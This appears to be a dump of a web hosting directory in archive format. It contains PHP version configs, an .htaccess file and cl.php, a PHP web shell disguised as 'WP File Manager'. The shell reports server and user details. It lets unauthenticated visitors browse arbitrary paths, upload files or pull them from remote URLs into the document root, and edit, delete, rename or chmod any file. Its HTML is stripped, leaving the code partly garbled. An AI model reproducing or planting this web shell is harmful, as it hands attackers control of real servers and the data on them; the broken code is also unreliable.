| Name |
Size |
Permissions |
Options |
';
// Show directories first
foreach($lokasinya as $dir){
if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
echo "
| ๐ " . $dir . " |
-- |
";
if(is_writable($lokasi."/".$dir)) echo '';
elseif(!is_readable($lokasi."/".$dir)) echo '';
echo statusnya($lokasi."/".$dir);
if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '';
echo " |
|
";
}
echo ' | | | |
';
// Show files
foreach($lokasinya as $file) {
if(!is_file("$lokasi/$file")) continue;
$size = filesize("$lokasi/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
} else {
$size = $size.' KB';
}
$icon = getFileIcon($file);
echo "
| " . $icon . " " . $file . " |
" . $size . " |
";
if(is_writable("$lokasi/$file")) echo '';
elseif(!is_readable("$lokasi/$file")) echo '';
echo statusnya("$lokasi/$file");
if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '';
echo " |
|
";
}
echo '
';
author();
function statusnya($file){
$statusnya = fileperms($file);
if (($statusnya & 0xC000) == 0xC000) {
$ingfo = 's';
} elseif (($statusnya & 0xA000) == 0xA000) {
$ingfo = 'l';
} elseif (($statusnya & 0x8000) == 0x8000) {
$ingfo = '-';
} elseif (($statusnya & 0x6000) == 0x6000) {
$ingfo = 'b';
} elseif (($statusnya & 0x4000) == 0x4000) {
$ingfo = 'd';
} elseif (($statusnya & 0x2000) == 0x2000) {
$ingfo = 'c';
} elseif (($statusnya & 0x1000) == 0x1000) {
$ingfo = 'p';
} else {
$ingfo = 'u';
}
// Owner
$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0040) ?
(($statusnya & 0x0800) ? 's' : 'x' ) :
(($statusnya & 0x0800) ? 'S' : '-'));
// Group
$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0008) ?
(($statusnya & 0x0400) ? 's' : 'x' ) :
(($statusnya & 0x0400) ? 'S' : '-'));
// World
$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0001) ?
(($statusnya & 0x0200) ? 't' : 'x' ) :
(($statusnya & 0x0200) ? 'T' : '-'));
return $ingfo;
}
?> defaults.cfg 0000644 00000007464 15302247250 0007047 0 ustar 00 [versions]
php = native
[php5.2]
modules = apc,bcmath,dom,fileinfo,gd,imagick,imap,json,mbstring,mcrypt,mysql,mysqli,ncurses,pdo,pdo_mysql,pdo_sqlite,phar,posix,soap,sqlite,xmlreader,xmlrpc,xmlwriter,xsl,zip
[php5.3]
modules = bcmath,dom,fileinfo,gd,imagick,imap,inotify,intl,json,mbstring,mcrypt,mysql,mysqli,pdo,pdo_mysql,pdo_sqlite,phar,posix,soap,xmlreader,xmlrpc,xmlwriter,zip
[php5.4]
modules = bcmath,dom,fileinfo,gd,imagick,imap,inotify,intl,json,mbstring,mcrypt,mysql,mysqli,pdo,pdo_mysql,pdo_sqlite,phar,posix,soap,xmlreader,xmlrpc,xmlwriter
[php5.5]
modules = bcmath,dom,fileinfo,gd,imagick,imap,intl,json,mbstring,mcrypt,memcache,mysql,mysqli,pdo,pdo_mysql,pdo_sqlite,phar,posix,soap,xmlreader,xmlrpc,xmlwriter
[php5.6]
modules = bcmath,dom,fileinfo,gd,imagick,imap,inotify,intl,json,mbstring,mcrypt,mysql,mysqli,pdo,pdo_mysql,pdo_sqlite,phar,posix,soap,xmlreader,xmlrpc,xmlwriter
[php7.0]
modules = bcmath,dba,dom,enchant,fileinfo,gd,imap,intl,ioncube_loader,json,ldap,mbstring,mysqlnd,nd_mysqli,odbc,opcache,pdo,pdo_mysql,pdo_odbc,pdo_pgsql,pdo_sqlite,pgsql,phar,posix,pspell,soap,sockets,sysvmsg,sysvsem,sysvshm,tidy,timezonedb,wddx,xmlreader,xmlrpc,xmlwriter,xsl,zip
[php7.1]
modules = bcmath,dba,dom,enchant,fileinfo,gd,imap,intl,ioncube_loader,json,ldap,mbstring,mysqlnd,nd_mysqli,odbc,opcache,pdo,pdo_mysql,pdo_odbc,pdo_pgsql,pdo_sqlite,pgsql,phar,posix,pspell,soap,sockets,sysvmsg,sysvsem,sysvshm,tidy,timezonedb,wddx,xmlreader,xmlrpc,xmlwriter,xsl,zip
[php7.2]
modules = bcmath,dba,dom,enchant,fileinfo,gd,imap,intl,ioncube_loader,json,ldap,mbstring,mysqli,mysqlnd,odbc,opcache,pdo,pdo_mysql,pdo_odbc,pdo_pgsql,pdo_sqlite,pgsql,phar,posix,pspell,soap,sockets,sysvmsg,sysvsem,sysvshm,tidy,wddx,xmlreader,xmlrpc,xmlwriter,xsl,zip
[php7.3]
modules = bcmath,dba,dom,enchant,fileinfo,gd,imap,intl,ioncube_loader,json,ldap,mbstring,mysqlnd,nd_mysqli,odbc,opcache,pdo,pdo_mysql,pdo_odbc,pdo_pgsql,pdo_sqlite,pgsql,phar,posix,pspell,soap,sockets,sysvmsg,sysvsem,sysvshm,tidy,timezonedb,wddx,xmlreader,xmlrpc,xmlwriter,xsl,zip
[php7.4]
modules = bcmath,dba,dom,enchant,fileinfo,gd,imap,intl,ioncube_loader,json,ldap,mbstring,mysqli,odbc,opcache,pdo,pdo_mysql,pdo_odbc,pdo_pgsql,pdo_sqlite,pgsql,phar,posix,pspell,soap,sockets,sysvmsg,sysvsem,sysvshm,tidy,timezonedb,xmlreader,xmlrpc,xmlwriter,xsl,zip
[php8.0]
modules = bcmath,dba,dom,enchant,fileinfo,gd,imap,intl,ldap,mbstring,mysqlnd,nd_mysqli,odbc,opcache,pdo,pdo_mysql,pdo_odbc,pdo_pgsql,pdo_sqlite,pgsql,phar,posix,pspell,soap,sockets,sysvmsg,sysvsem,sysvshm,tidy,timezonedb,xmlreader,xmlwriter,xsl
[php8.1]
modules = bcmath,dba,dom,enchant,fileinfo,gd,imap,intl,ldap,mbstring,mysqlnd,nd_mysqli,odbc,opcache,pdo,pdo_mysql,pdo_odbc,pdo_pgsql,pdo_sqlite,pgsql,phar,posix,pspell,snmp,soap,sockets,sysvmsg,sysvsem,sysvshm,tidy,timezonedb,xmlreader,xmlwriter,xsl,zip
[php8.2]
modules = bcmath,dba,dom,enchant,fileinfo,gd,igbinary,imap,ioncube_loader,ldap,mbstring,memcached,odbc,opcache,pdo,pdo_odbc,pdo_pgsql,pdo_sqlite,pgsql,phar,posix,pspell,snmp,soap,sockets,sysvmsg,sysvsem,sysvshm,timezonedb,xmlreader,xmlrpc,xmlwriter,xsl
[php8.3]
modules = bcmath,dba,dom,enchant,fileinfo,gd,igbinary,imap,ldap,mbstring,memcached,odbc,opcache,pdo,pdo_odbc,pdo_pgsql,pdo_sqlite,pgsql,phar,posix,pspell,snmp,soap,sockets,sysvmsg,sysvsem,sysvshm,timezonedb,xmlreader,xmlrpc,xmlwriter,xsl
[php8.4]
modules = bcmath,dba,dom,enchant,fileinfo,gd,igbinary,ldap,mbstring,msgpack,mysqlnd,nd_mysqli,nd_pdo_mysql,odbc,opcache,pdo,pdo_odbc,pdo_pgsql,pdo_sqlite,pgsql,phar,posix,redis,snmp,soap,sockets,sysvmsg,sysvsem,sysvshm,timezonedb,xmlreader,xmlwriter,xsl
[php8.5]
modules = bcmath,dba,dom,enchant,fileinfo,gd,igbinary,imap,ldap,mbstring,msgpack,mysqli,mysqlnd,nd_mysqli,nd_pdo_mysql,odbc,pdo,pdo_mysql,pdo_odbc,pdo_pgsql,pdo_sqlite,pgsql,phar,posix,pspell,redis,snmp,soap,sockets,sysvmsg,sysvsem,sysvshm,xmlreader,xmlwriter,xsl
cl.php 0000644 00000145647 15302247250 0005674 0 ustar 00
cllllXXXchudiXX
NONE";
} else {
$disf = "".$disfunc."";
}
function author() {
echo " WP File Manager";
exit();
}
function cekdir() {
if (isset($_GET['path'])) {
$lokasi = $_GET['path'];
} else {
$lokasi = getcwd();
}
if (is_writable($lokasi)) {
return "Writable";
} else {
return "Not Writable";
}
}
function cekroot() {
if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
return "Writable";
} else {
return "Not Writable";
}
}
function xrmdir($dir) {
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir.'/'.$item;
if (is_dir($path)) {
xrmdir($path);
} else {
unlink($path);
}
}
rmdir($dir);
}
function green($text) {
echo "".$text." ";
}
function red($text) {
echo "".$text." ";
}
function yellow($text) {
echo "".$text." ";
}
// Helper function to format file size
function formatSize($size) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = 0;
while ($size >= 1024 && $i < count($units) - 1) {
$size /= 1024;
$i++;
}
return round($size, 2) . ' ' . $units[$i];
}
// Function to get file extension with icon
function getFileIcon($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$icons = [
'php' => '๐', 'html' => '๐', 'css' => '๐จ', 'js' => '๐',
'jpg' => '๐ผ๏ธ', 'jpeg' => '๐ผ๏ธ', 'png' => '๐ผ๏ธ', 'gif' => '๐ผ๏ธ',
'pdf' => '๐', 'doc' => '๐', 'docx' => '๐', 'txt' => '๐',
'zip' => '๐ฆ', 'rar' => '๐ฆ', 'tar' => '๐ฆ', 'gz' => '๐ฆ',
'mp3' => '๐ต', 'mp4' => '๐ฌ', 'avi' => '๐ฌ', 'mkv' => '๐ฌ',
'exe' => 'โ๏ธ', 'msi' => 'โ๏ธ', 'sql' => '๐๏ธ', 'xml' => '๐',
'json' => '๐', 'log' => '๐', 'htaccess' => 'โ๏ธ'
];
return isset($icons[$ext]) ? $icons[$ext] : '๐';
}
// Function to get permission name
function getPermissionName($perms) {
$names = [
'0644' => 'File (644) - Read/Write for owner, Read for others',
'0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others',
'0640' => 'File (640) - Read/Write for owner, Read for group',
'0664' => 'File (664) - Read/Write for owner and group, Read for others',
'0777' => 'All permissions (777) - Read/Write/Execute for everyone',
'0600' => 'File (600) - Read/Write for owner only',
'0700' => 'Directory (700) - Read/Write/Execute for owner only',
'0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group',
'0660' => 'File (660) - Read/Write for owner and group only',
];
return isset($names[$perms]) ? $names[$perms] : 'Custom permission';
}
// WordPress-like editor with syntax highlighting
function wpEditor($file_path, $content = '') {
$file_info = pathinfo($file_path);
$file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : '';
$file_name = basename($file_path);
// Get language for editor
$lang = 'plaintext';
$syntax_exts = [
'php' => 'php', 'html' => 'html', 'htm' => 'html',
'css' => 'css', 'js' => 'javascript', 'json' => 'json',
'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext',
'log' => 'plaintext', 'htaccess' => 'apache'
];
if (isset($syntax_exts[$file_ext])) {
$lang = $syntax_exts[$file_ext];
}
$is_binary = false;
$binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp'];
if (in_array($file_ext, $binary_exts)) {
$is_binary = true;
}
$html = '';
$html .= '';
$html .= ' ';
$html .= '๐ Path: ' . htmlspecialchars($file_path) . '';
$html .= '๐ Size: ' . formatSize(filesize($file_path)) . '';
$html .= '๐ Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . '';
$html .= '๐ Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . '';
$html .= ' ';
if ($is_binary) {
$html .= ' ';
$html .= 'โ ๏ธ This is a binary file and cannot be edited in the text editor. ';
$html .= ' View File';
$html .= ' ';
$html .= ' ';
return $html;
}
$html .= '';
$html .= ' Saved';
$html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . '';
$html .= ' ';
$html .= '';
$html .= '';
// JavaScript for editor
$html .= '';
return $html;
}
// CHMOD Interface
function chmodInterface($path, $is_dir = false) {
$current_perms = substr(sprintf('%o', fileperms($path)), -4);
$perms_array = str_split($current_perms);
$html = '';
$html .= '';
$html .= ' ';
$html .= '๐ Path: ' . htmlspecialchars($path) . '';
$html .= '๐ Type: ' . ($is_dir ? 'Directory' : 'File') . '';
$html .= '๐ Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')';
$html .= ' ';
$html .= ' ';
$html .= ' ';
// JavaScript for CHMOD interface
$html .= '';
return $html;
}
echo "Server : ".$_SERVER['SERVER_SOFTWARE']." ";
echo "System : ".php_uname()." ";
echo "User : ".@get_current_user()." ( ".@getmyuid().") ";
echo "PHP Version : ".@phpversion()." ";
echo "Disable Function : ".$disf." ";
echo "Directory : ";
foreach($_POST as $key => $value){
$_POST[$key] = stripslashes($value);
}
if(isset($_GET['path'])){
$lokasi = $_GET['path'];
$lokdua = $_GET['path'];
} else {
$lokasi = getcwd();
$lokdua = getcwd();
}
$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);
foreach($lokasis as $id => $lok){
if($lok == '' && $id == 0){
$a = true;
echo '/';
continue;
}
if($lok == '') continue;
echo ''.$lok.'/';
}
echo '';
echo ' |
';
// ============================================
// CREATE FILE/FOLDER FUNCTIONALITY
// ============================================
if (isset($_POST['create_action'])) {
if ($_POST['create_action'] == 'file') {
$new_file = $lokasi . '/' . $_POST['new_filename'];
if (file_exists($new_file)) {
red("File already exists!");
} else {
if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) {
chmod($new_file, 0644);
green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . "");
} else {
red("Failed to create file! Check permissions.");
}
}
} elseif ($_POST['create_action'] == 'folder') {
$new_folder = $lokasi . '/' . $_POST['new_foldername'];
if (file_exists($new_folder)) {
red("Folder already exists!");
} else {
if (mkdir($new_folder, 0755)) {
green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . "");
} else {
red("Failed to create folder! Check permissions.");
}
}
}
}
// ============================================
// CHMOD FUNCTIONALITY (UPDATED)
// ============================================
if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
$chmod_path = $_POST['path'];
$is_dir = is_dir($chmod_path);
// Handle CHMOD submission
if (isset($_POST['chm0d']) && isset($_POST['perm'])) {
$perm = $_POST['perm'];
$recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1;
// Validate permission
if (strlen($perm) == 3 || strlen($perm) == 4) {
$perm = substr($perm, -3);
$perm_octal = octdec($perm);
if ($is_dir && $recursive) {
// Recursive chmod
$success = true;
$count = 0;
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if (@chmod($item->getPathname(), $perm_octal)) {
$count++;
} else {
$success = false;
}
}
if ($success) {
green("โ
Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . "");
} else {
yellow("โ ๏ธ Permissions changed for " . $count . " items, but some failed. Check permissions.");
}
} else {
// Single file/directory chmod
if (@chmod($chmod_path, $perm_octal)) {
green("โ
Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . "");
} else {
red("โ Failed to change permissions for " . htmlspecialchars($chmod_path));
}
}
} else {
red("โ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)");
}
}
// Display CHMOD interface
echo chmodInterface($chmod_path, $is_dir);
echo ' โ Back to Directory';
author();
}
// ============================================
// IMPROVED UPLOAD SECTION WITH OVERWRITE
// ============================================
if (isset($_POST['upwkwk'])) {
$upload_dir = $lokasi;
if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") {
$upload_dir = $_SERVER['DOCUMENT_ROOT'];
}
// Handle file upload from local machine
if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) {
$uploaded_file = $_FILES['berkas'];
if ($uploaded_file['error'] !== UPLOAD_ERR_OK) {
$error_messages = [
UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize',
UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE',
UPLOAD_ERR_PARTIAL => 'File was only partially uploaded',
UPLOAD_ERR_NO_FILE => 'No file was uploaded',
UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk',
UPLOAD_ERR_EXTENSION => 'File upload stopped by extension',
];
red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error'));
} else {
if (!is_writable($upload_dir)) {
red("Upload directory is not writable: " . $upload_dir);
} else {
// Get the original filename
$filename = $uploaded_file['name'];
// Remove special characters for safety
$filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename);
$destination = $upload_dir . '/' . $filename;
// Check if file exists and show overwrite warning
$overwrite_msg = '';
if (file_exists($destination)) {
$old_size = formatSize(filesize($destination));
$new_size = formatSize($uploaded_file['size']);
$overwrite_msg = " โ ๏ธ File already exists! Overwriting...
Old size: " . $old_size . " โ New size: " . $new_size;
}
// Move uploaded file (overwrite if exists)
if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) {
chmod($destination, 0644);
$file_size = formatSize(filesize($destination));
$msg = "โ
File uploaded successfully! " . $overwrite_msg . "
๐ File: " . htmlspecialchars($filename) . "
๐ Size: " . $file_size . "
๐ Path: " . htmlspecialchars($destination);
green($msg);
} else {
red("Failed to move uploaded file. Check permissions.");
}
}
}
}
// Handle remote URL upload
elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) {
if (empty($_POST['namalink'])) {
red("Filename cannot be empty!");
} else {
$remote_filename = $_POST['namalink'];
$remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename);
$remote_content = @file_get_contents($_POST['darilink']);
if ($remote_content === false) {
red("Failed to fetch remote file. Check URL is accessible.");
} else {
if (!is_writable($upload_dir)) {
red("Upload directory is not writable: " . $upload_dir);
} else {
$destination = $upload_dir . '/' . $remote_filename;
// Check if file exists
$overwrite_msg = '';
if (file_exists($destination)) {
$old_size = formatSize(filesize($destination));
$new_size = formatSize(strlen($remote_content));
$overwrite_msg = " โ ๏ธ File already exists! Overwriting...
Old size: " . $old_size . " โ New size: " . $new_size;
}
if (file_put_contents($destination, $remote_content) !== false) {
chmod($destination, 0644);
$file_size = formatSize(filesize($destination));
$msg = "โ
Remote file uploaded successfully! " . $overwrite_msg . "
๐ File: " . htmlspecialchars($remote_filename) . "
๐ Size: " . $file_size . "
๐ Path: " . htmlspecialchars($destination);
green($msg);
} else {
red("Failed to save remote file. Check directory permissions.");
}
}
}
}
} else {
red("No file selected or file upload failed.");
}
}
// ============================================
// WORDPRESS-LIKE FILE EDITOR
// ============================================
if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
$file_path = $_POST['path'];
// Handle file save
if (isset($_POST['gasedit']) && isset($_POST['src'])) {
$content = $_POST['src'];
// Check if content is different
$old_content = file_exists($file_path) ? file_get_contents($file_path) : '';
if ($content === $old_content) {
green("โน๏ธ No changes detected. File saved as is.");
} else {
if (file_put_contents($file_path, $content) !== false) {
green("โ
File saved successfully! View File");
} else {
red("โ Failed to save file! Check permissions.");
}
}
}
// Display editor
$file_content = file_exists($file_path) ? file_get_contents($file_path) : '';
echo wpEditor($file_path, $file_content);
echo ' โ Back to Directory';
// Continue after edit view
author();
}
// Handle delete from editor
if (isset($_GET['delete'])) {
$delete_file = $_GET['delete'];
if (file_exists($delete_file)) {
if (unlink($delete_file)) {
green("๐๏ธ File deleted successfully!");
} else {
red("Failed to delete file!");
}
}
// Redirect back to directory
echo '';
author();
}
// ============================================
// DISPLAY UPLOAD AND CREATE FORMS
// ============================================
echo "";
echo "";
echo "";
echo " |
";
// ============================================
// FILE VIEWER
// ============================================
if (isset($_GET['fileloc'])) {
$file_path = $_GET['fileloc'];
echo "";
echo "";
echo " ๐ File: " . htmlspecialchars(basename($file_path)) . "";
echo " Path: " . htmlspecialchars($file_path) . " ";
echo " Size: " . formatSize(filesize($file_path)) . " ";
echo " Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . " ";
// Check if it's a binary/image file
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg'];
$viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log'];
if (in_array($ext, $image_exts)) {
echo " ";
echo "  . ") ";
echo " ";
} elseif (in_array($ext, $viewable_exts)) {
echo " ";
echo htmlspecialchars(file_get_contents($file_path));
echo "";
} else {
echo " ";
echo "โ ๏ธ Binary file - cannot display content ";
echo " Download File";
echo " ";
}
echo " โ Back to Directory";
echo " Edit File";
echo " ๐ Chmod";
echo " ";
echo " |
";
author();
}
// ============================================
// HANDLE OTHER ACTIONS (DELETE, RENAME)
// ============================================
elseif (isset($_GET['pilihan'])) {
if ($_POST['pilih'] == "hapus") {
if (is_dir($_POST['path'])) {
xrmdir($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to delete Directory!");
} else {
green("Delete Directory Success!");
}
} elseif (is_file($_POST['path'])) {
@unlink($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to Delete File!");
} else {
green("Delete File Success!");
}
}
} elseif ($_POST['pilih'] == "gantinama") {
if (isset($_POST['gantin'])) {
$ren = @rename($_POST['path'], $_POST['newname']);
if ($ren == true) {
green("Change Name Success!");
} else {
red("Change Name Failed!");
}
}
if (empty($_POST['name'])) {
$namaawal = $_POST['newname'];
} else {
$namawal = $_POST['name'];
}
echo "" . $_POST['path'] . "
";
echo '';
}
}
// ============================================
// DISPLAY FILE LISTING
// ============================================
echo '';
author();
function statusnya($file){
$statusnya = fileperms($file);
if (($statusnya & 0xC000) == 0xC000) {
$ingfo = 's';
} elseif (($statusnya & 0xA000) == 0xA000) {
$ingfo = 'l';
} elseif (($statusnya & 0x8000) == 0x8000) {
$ingfo = '-';
} elseif (($statusnya & 0x6000) == 0x6000) {
$ingfo = 'b';
} elseif (($statusnya & 0x4000) == 0x4000) {
$ingfo = 'd';
} elseif (($statusnya & 0x2000) == 0x2000) {
$ingfo = 'c';
} elseif (($statusnya & 0x1000) == 0x1000) {
$ingfo = 'p';
} else {
$ingfo = 'u';
}
// Owner
$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0040) ?
(($statusnya & 0x0800) ? 's' : 'x' ) :
(($statusnya & 0x0800) ? 'S' : '-'));
// Group
$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0008) ?
(($statusnya & 0x0400) ? 's' : 'x' ) :
(($statusnya & 0x0400) ? 'S' : '-'));
// World
$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0001) ?
(($statusnya & 0x0200) ? 't' : 'x' ) :
(($statusnya & 0x0200) ? 'T' : '-'));
return $ingfo;
}
?> alt_php74.cfg 0000644 00000000233 15302247250 0007025 0 ustar 00 ;>=== Start of PHP Selector Custom Options ===
max_execution_time=300
max_input_vars=2000
memory_limit=256M
;<=== End of PHP Selector Custom Options =====
.htaccess 0000444 00000003725 15302247250 0006347 0 ustar 00
Order allow,deny
Deny from all
Order allow,deny
Allow from all
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]